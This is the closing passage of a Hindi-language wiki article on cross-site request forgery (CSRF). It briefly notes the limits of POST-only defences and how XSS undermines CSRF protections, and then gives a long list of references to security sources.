  • कुछ समय के लिए पोस्ट रिक्वेस्ट मेथेड को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके सामान्य सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब XMLHttpRequests का उपयोग करके सरलता से निष्पादित किया जा सकता है। और अप्रत्याशित जीईटी रिक्वेस्ट को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस इमेज यूआरएल या लिंक एड्रेस का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <script> तत्व (जावास्क्रिप्ट हाईजैकिंग); यह आक्रामक वेब क्रॉलर और लिंक प्रीफेचिंग के साथ (नॉन-सिक्यूरिटी-रिलेटेड) समस्याओं को भी रोकता है।[1]

इस प्रकार से क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को अनदेखा करने की अनुमति देती हैं।[36]

यह भी देखें

संदर्भ

  1. ↑ 1.0 1.1 1.2 1.3 1.4 Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php|architect (via shiflett.org). Retrieved 2008-07-03.
  2. ↑ 2.0 2.1 Ristic, Ivan (2005). अपाचे सुरक्षा. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
  3. ↑ "What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys".
  4. ↑ "What is CSRF (Cross-site request forgery)? Tutorial & Examples". portswigger.net. Retrieved 2019-11-04.
  5. ↑ Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
  6. ↑ Christey, Steve; Martin, Robert A. (May 22, 2007). "सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)". MITRE Corporation. Retrieved 2008-06-07.
  7. ↑ Washkuch Jr., Frank (October 17, 2006). "नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया". SC Magazine. Retrieved 2019-02-11.
  8. ↑ 8.0 8.1 William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
  9. ↑ Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
  10. ↑ "Security Advisory: CSRF & DNS/DHCP/Web Attacks". Draytek. May 2018. Retrieved 18 May 2018.
  11. ↑ "Cross Site Request Forgery protection | Django documentation | Django". docs.djangoproject.com. Retrieved 2015-08-21.
  12. ↑ Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
  13. ↑ Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine
  14. ↑ "XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी". pentestmonkey. Retrieved September 4, 2015.
  15. ↑ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
  16. ↑ "Security Fix - Weaponizing Web 2.0".
  17. ↑ Dynamic CSRF Archived 2010-02-13 at the Wayback Machine
  18. ↑ Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks
  19. ↑ Downloads – hasc-research – hasc-research – Google Project Hosting. Code.google.com (2013-06-17). Retrieved on 2014-04-12.
  20. ↑ "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
  21. ↑ "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
  22. ↑ "उन्नत क्रॉस-साइट हमले की रोकथाम". Espacenet. European Patent Office. Retrieved 21 November 2019.
  23. ↑ "CSRF: Cross-site request forgery attacks explained". IONOS Digitalguide (in English). Retrieved 2022-04-26.
  24. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट". OWASP. Retrieved 2019-07-19.
  25. ↑ "Valhalla Articles - Cross-Site Request Forgery: Demystified".
  26. ↑ "क्रॉस साइट अनुरोध जालसाजी संरक्षण". Django. Archived from the original on 2015-01-20. Retrieved 2015-01-20.
  27. ↑ "क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा". AngularJS. Retrieved 2015-01-20.
  28. ↑ "Making a Service Available Across Domain Boundaries".
  29. ↑ Adamski, Lucas. "फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन".
  30. ↑ "डबल सबमिट कुकी रक्षा". OWASP.
  31. ↑ "सेमसाइट कुकीज़". Mozilla.
  32. ↑ Origin Header Proposal Archived 2016-03-08 at the Wayback Machine. People.mozilla.org. Retrieved on 2013-07-29.
  33. ↑ "Django 1.2.5 release notes". Django.
  34. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
  35. ↑ "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
  36. ↑ Schneider, Christian. "सीएसआरएफ और समान-मूल XSS". Archived from the original on 2012-08-14. Retrieved 2012-04-21.


बाहरी संबंध

Retrieved from ‘https://www.vigyanwiki.in/index.php?title=क्रॉस_साइट_अनुरोध_जालसाजी&oldid=251040’